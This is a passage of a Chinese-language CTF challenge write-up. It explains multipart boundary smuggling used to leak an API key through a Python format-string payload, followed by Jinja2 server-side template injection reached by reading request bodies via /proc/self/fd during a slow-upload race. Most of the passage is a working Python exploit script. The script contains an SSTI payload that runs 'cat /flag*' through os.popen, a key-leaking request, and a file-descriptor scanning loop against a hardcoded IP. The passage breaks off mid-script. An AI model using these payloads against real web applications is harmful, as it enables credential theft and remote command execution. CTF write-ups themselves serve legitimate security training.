0em;margin: 0px;padding: 8px 0px;"><span leaf="">攻击者发送参数：</span></p><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">client : Content-Type</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">token : multipart/form-data; boundary=FlagBoundary</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">这使得 httpx 发出的请求的 Content-Type Header 变成了我们指定的 boundary=FlagBoundary ，而不是 httpx 自动生成的随机 boundary。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">B. 构造 Payload (Multipart Smuggling)</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">攻击者在 text 参数（对应 content 字段）中注入了伪造的 Multipart 结构：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">{0.config}</span><span leaf=""><br/></span><span leaf="">--FlagBoundary</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;action&#34;; filename=&#34;action&#34;</span><span leaf=""><br/></span><span leaf="">Content-Type: text/json</span><span leaf=""><br/></span><span leaf="">{&#34;type&#34;: &#34;debug&#34;}</span><span leaf=""><br/></span><span leaf="">--FlagBoundary</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">C. 最终效果</span><span leaf=""><br/></span><span leaf="">当 httpx 发送请求时，它以为自己在发送正常的 content 和 action (echo)。但由于 Header 被篡改为使用 FlagBoundary ，接收端 ( /action 的 Flask 服务器) 会按照 FlagBoundary 来切分数据。</span><span leaf=""><br/></span><span leaf="">接收端看到的视图：</span><span leaf=""><br/></span><span leaf="">Part 1 (content) :</span><span leaf=""><br/></span><span leaf="">内容: {0.config} (这是我们的格式化字符串 Payload)</span><span leaf=""><br/></span><span leaf="">(后面原本属于 content 的部分被我们的伪造 boundary 切断了)</span><span leaf=""><br/></span><span leaf="">Part 2 (action) :</span><span leaf=""><br/></span><span leaf="">内容: {&#34;type&#34;: &#34;debug&#34;}</span><span leaf=""><br/></span><span leaf="">Part 3 (Original action) :</span><span leaf=""><br/></span><span leaf="">这是 httpx 原本生成的 action (echo)，但在我们的注入之后，它变成了多余的数据或者被忽略。</span></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">通过格式化输出获取API_KEY</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">然后通过admin读取模板进行SSTI</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">就是最后一步模板应该怎么读取？我们好像无法直接上传文件</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">那么可以通过Linux中 /proc/self/fd/* 去读取请求体的内容，原因是在进行请求时，会在服务器进程的文件描述符 (File Descriptor, FD) 中暂存请求体内容</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">结合这些内容，脚本如下</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> threading</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> httpx</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> random</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Configuration</span></span><span leaf=""><br/></span><span leaf="">TARGET_HOST = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;223.6.249.127&#34;</span></span><span leaf=""><br/></span><span leaf="">TARGET_PORT = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">37767</span></span><span leaf=""><br/></span><span leaf="">TARGET_URL = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;http://</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_HOST}</span></span><span leaf="">:</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_PORT}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Global API_KEY variable</span></span><span leaf=""><br/></span><span leaf="">API_KEY = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Payload to execute via SSTI</span></span><span leaf=""><br/></span><span leaf="">PADDING_SIZE = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1MB padding</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># PAYLOAD = &#34;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;cat /flag*&#39;).read()}}&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Try to list root directory first to be sure</span></span><span leaf=""><br/></span><span leaf="">PAYLOAD = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;cat /flag*&#39;).read()}}&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">leak_api_key</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Leaks the API_KEY using the format string vulnerability.&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Leaking API_KEY...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    url = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/heartbeat&#34;</span></span><span leaf=""><br/></span><span leaf="">    fmt_payload = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;{0.view_functions[index].__globals__[API_KEY]}&#34;</span></span><span leaf=""><br/></span><span leaf="">    boundary = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;FlagBoundary&#34;</span></span><span leaf=""><br/></span><span leaf="">    injected_body = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{fmt_payload}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;Content-Disposition: form-data; name=&#34;action&#34;; filename=&#34;action&#34;\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Content-Type: text/json\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;{{&#34;type&#34;: &#34;debug&#34;}}\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    params = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;client&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Content-Type&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;token&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;multipart/form-data; boundary=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;text&#34;</span></span><span leaf="">: injected_body</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        r = httpx.post(url, data=params, timeout=</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">10</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> r.status_code == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">200</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">             key = r.text.strip()</span><span leaf=""><br/></span><span leaf="">             print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[+] API_KEY found: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{key}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> key</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[-] Failed to leak API_KEY. Status: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{r.status_code}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[-] Response: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{r.text[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">200</span></span><span leaf="">]}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[!] Error leaking API_KEY: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">keep_alive_upload</span></span><span style="line-height: 26px;"><span leaf="">(api_key)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Performs the slow upload attack to keep a temporary file alive.&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><span leaf=""><br/></span><span leaf="">            s.connect((TARGET_HOST, TARGET_PORT))</span><span leaf=""><br/></span><span leaf="">            boundary = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;------------------------Boundary1234567890&#34;</span></span><span leaf=""><br/></span><span leaf="">            part1 = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;Content-Disposition: form-data; name=&#34;text&#34;\r\n\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;ping\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">            part2 = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;Content-Disposition: form-data; name=&#34;client&#34;\r\n\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;X-Token\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">            part3 = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;Content-Disposition: form-data; name=&#34;token&#34;\r\n\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{api_key}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">            part4_header = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;Content-Disposition: form-data; name=&#34;garbage&#34;; filename=&#34;pwn.txt&#34;\r\n&#39;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Content-Type: text/plain\r\n\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">            content_length = len(part1) + len(part2) + len(part3) + len(part4_header) + PADDING_SIZE + len(PAYLOAD) + len(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\r\n--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">--\r\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            request_header = (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;POST /heartbeat HTTP/1.1\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Host: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_HOST}</span></span><span leaf="">:</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_PORT}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Content-Type: multipart/form-data; boundary=</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Content-Length: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{content_length}</span></span><span leaf="">\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Connection: keep-alive\r\n&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\r\n&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">            s.send(request_header.encode())</span><span leaf=""><br/></span><span leaf="">            s.send(part1.encode())</span><span leaf=""><br/></span><span leaf="">            s.send(part2.encode())</span><span leaf=""><br/></span><span leaf="">            s.send(part3.encode())</span><span leaf=""><br/></span><span leaf="">            s.send(part4_header.encode())</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Send payload first so it&#39;s at the beginning of the file</span></span><span leaf=""><br/></span><span leaf="">            s.send(PAYLOAD.encode())</span><span leaf=""><br/></span><span leaf="">            chunk_size = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf=""><br/></span><span leaf="">            sent = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Slow send loop</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span leaf=""> sent &lt; PADDING_SIZE:</span><span leaf=""><br/></span><span leaf="">                s.send((</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;A&#34;</span></span><span leaf=""> * chunk_size).encode())</span><span leaf=""><br/></span><span leaf="">                sent += chunk_size</span><span leaf=""><br/></span><span leaf="">                time.sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0.005</span></span><span leaf="">) </span><span leaf=""><br/></span><span leaf="">            s.send(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\r\n--</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{boundary}</span></span><span leaf="">--\r\n&#34;</span></span><span leaf="">.encode())</span><span leaf=""><br/></span><span leaf="">            s.close()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span leaf="">        time.sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0.1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">race_worker</span></span><span style="line-height: 26px;"><span leaf="">(api_key)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;Worker thread that tries to hit the LFI.&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    url = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/admin&#34;</span></span><span leaf=""><br/></span><span leaf="">    headers = {</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Authorization&#34;</span></span><span leaf="">: api_key}</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Scan range of FDs</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> fd </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">40</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                params = {</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;tmpl&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;/proc/self/fd/</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{fd}</span></span><span leaf="">&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">                r = httpx.get(url, headers=headers, params=params, timeout=</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                print(r.text[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Use regex to find flag</span></span><span leaf=""><br/></span><span leaf="">                flag_match = re.search(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">r&#34;alictf\{.*?\}&#34;</span></span><span leaf="">, r.text)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">print</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;alictf{&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> r.text:</span><span leaf=""><br/></span><span leaf="">                    flag = flag_match.group(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\n[!!!] HIT FLAG! FD: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{fd}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Flag: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{flag}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Write to file just in case</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;flag.txt&#34;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;w&#34;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">                        f.write(flag)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> os</span><span leaf=""><br/></span><span leaf="">                    os._exit(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># Force exit all threads</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;root&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> r.text </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;bin&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> r.text:</span><span leaf=""><br/></span><span leaf="">                      print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;\n[!!!] HIT Content (but no flag)! FD: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{fd}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                      print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;Response snippet: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{r.text[:</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">200</span></span><span leaf="">]}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. Leak API Key</span></span><span leaf=""><br/></span><span leaf="">    API_KEY = leak_api_key()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> API_KEY:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[-] Could not leak API_KEY. Exiting.&#34;</span></span><span 